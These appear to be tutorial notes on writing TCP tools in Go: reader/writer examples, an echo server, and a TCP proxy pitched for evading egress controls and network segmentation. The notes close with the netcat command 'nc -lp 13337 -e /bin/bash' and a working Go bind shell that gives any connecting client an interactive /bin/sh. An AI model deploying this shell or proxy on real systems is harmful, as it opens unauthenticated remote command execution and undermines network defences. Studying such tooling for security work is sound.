Building a TCP Proxy
Using io.Reader and io.Writer
Essentially all input/output(I/O).
package main import ( "fmt" "log" "os" ) // FooReader defines an io.Reader to read from stdin. type FooReader struct{} // Read reads data from stdin. func (fooReader *FooReader) Read(b []byte) (int, error) { fmt.Print("in > ") return os.Stdin.Read(b) } // FooWriter defines an io.Writer to write to Stdout. type FooWriter struct{} // Write writes data to Stdout. func (fooWriter *FooWriter) Write(b []byte) (int, error) { fmt.Print("Out > ") return os.Stdout.Write(b) } func main() { // Instantiate reader and writer. var ( reader FooReader writer FooWriter ) // Create buffer to hold input/output. input := make([]byte, 4096) // Use reader to read input. s, err := reader.Read(input) if err != nil { log.Fatalln("Unable to read data") } fmt.Printf("Read %d bytes from stdin ", s) // Use writer to write output. s, err = writer.Write(input) if err != nil { log.Fatalln("Unable to write data") } fmt.Printf("Wrote %d bytes to stdout ", s) }
Copy function in Go.
package main import ( "fmt" "io" "log" "os" ) // FooReader defines an io.Reader to read from stdin. type FooReader struct{} // Read reads data from stdin. func (fooReader *FooReader) Read(b []byte) (int, error) { fmt.Print("in > ") return os.Stdin.Read(b) } // FooWriter defines an io.Writer to write to Stdout. type FooWriter struct{} // Write writes data to Stdout. func (fooWriter *FooWriter) Write(b []byte) (int, error) { fmt.Print("Out > ") return os.Stdout.Write(b) } func main() { // Instantiate reader and writer. var ( reader FooReader writer FooWriter ) if _, err := io.Copy(&writer, &reader); err != nil { log.Fatalln("Unable to read/write data") } }
Creating the Echo Server
Use net.Conn function in Go.
package main import ( "io" "log" "net" ) // echo is a handler function that simply echoes received data. func echo(conn net.Conn) { defer conn.Close() // Create a buffer to store received data b := make([]byte, 512) for { // Receive data via conn.Read into a buffer. size, err := conn.Read(b[0:]) if err == io.EOF { log.Println("Client disconnected") break } if err != nil { log.Println("Unexpected error") break } log.Printf("Received %d bytes: %s ", size, string(b)) //Send data via conn.Write. log.Println("Writing data") if _, err := conn.Write(b[0:size]); err != nil { log.Fatalln("Unable to write data") } } } func main() { // Bind to TCP port 20080 on all interfaces. listener, err := net.Listen("tcp", ":20080") if err != nil { log.Fatalln("Unable to bind to port") } log.Println("Listening on 0.0.0.0:20080") for { // Wait for connection, Create net.Conn on connection established. conn, err := listener.Accept() log.Println("Received connection") if err != nil { log.Fatalln("Unable to accept connection") } // Handle the connection. Using goroutine for concurrency. go echo(conn) } }
Using Telnet as the connecting client:
The server produces the following standard output:
Improving the Code by Creating a Buffered Listener.
Use bufio package in GO.
// echo is a handler function that simply echoes received data. func echo(conn net.Conn) { defer conn.Close() reader := bufio.NewReader(conn) s, err := reader.ReadString(' ') if err != nil { log.Fatalln("Unable to read data") } log.Printf("Read %d bytes: %s", len(s), s) log.Println("Writing data") writer := bufio.NewWriter(conn) if _, err := writer.WriteString(s); err != nil { log.Fatalln("Unable to write data") } writer.Flush() }
Or use io.Copy in Go.
// echo is a handler function that simply echoes received data. func echo(conn net.Conn) { defer conn.Close() // Copy data from io.Reader to io.Writer via io.Copy(). if _, err := io.Copy(conn, conn); err != nil { log.Fatalln("Unable to read/write data") } }
Proxying a TCP Client
It is useful for trying to circumvent restrictive egress controls or to leverage a system to bypass network segmentation.
package main import ( "io" "log" "net" ) func handle(src net.Conn) { dst, err := net.Dial("tcp", "destination.website:80") if err != nil { log.Fatalln("Unable to connect to our unreachable host") } defer dst.Close() // Run in goroutine to prevent io.Copy from blocking go func() { // Copy our source's output to the destination if _, err := io.Copy(dst, src); err != nil { log.Fatalln(err) } }() // Copy our destination's output back to our source if _, err := io.Copy(src, dst); err != nil { log.Fatalln(err) } } func main() { // Listen on local port 80 listener, err := net.Listen("tcp", ":80") if err != nil { log.Fatalln("Unable to bind to port") } for { conn, err := listener.Accept() if err != nil { log.Fatalln("Unable to accept connection") } go handle(conn) } }
Replicating Netcat for Command Execution
The following feature is not included in standard Linux builds.
nc -lp 13337 -e /bin/bash
Create it in GO!
Using PipeReader and PipeWriter allows you to
package main import ( "io" "log" "net" "os/exec" ) func handle(conn net.Conn) { /* * Explicitly calling /bin/sh and using -i for interactive mode * so that we can use it for stdin and stdout. * For Windows use exec.Command("cmd.exe") */ cmd := exec.Command("/bin/sh","-i") rp, wp := io.Pipe() // Set stdin to our connection cmd.Stdin = conn cmd.Stdout = wp go io.Copy(conn, rp) cmd.Run() conn.Close() } func main() { listener, err := net.Listen("tcp", ":20080") if err != nil { log.Fatalln(err) } for { conn, err := listener.Accept() if err != nil { log.Fatalln(err) } go handle(conn) } }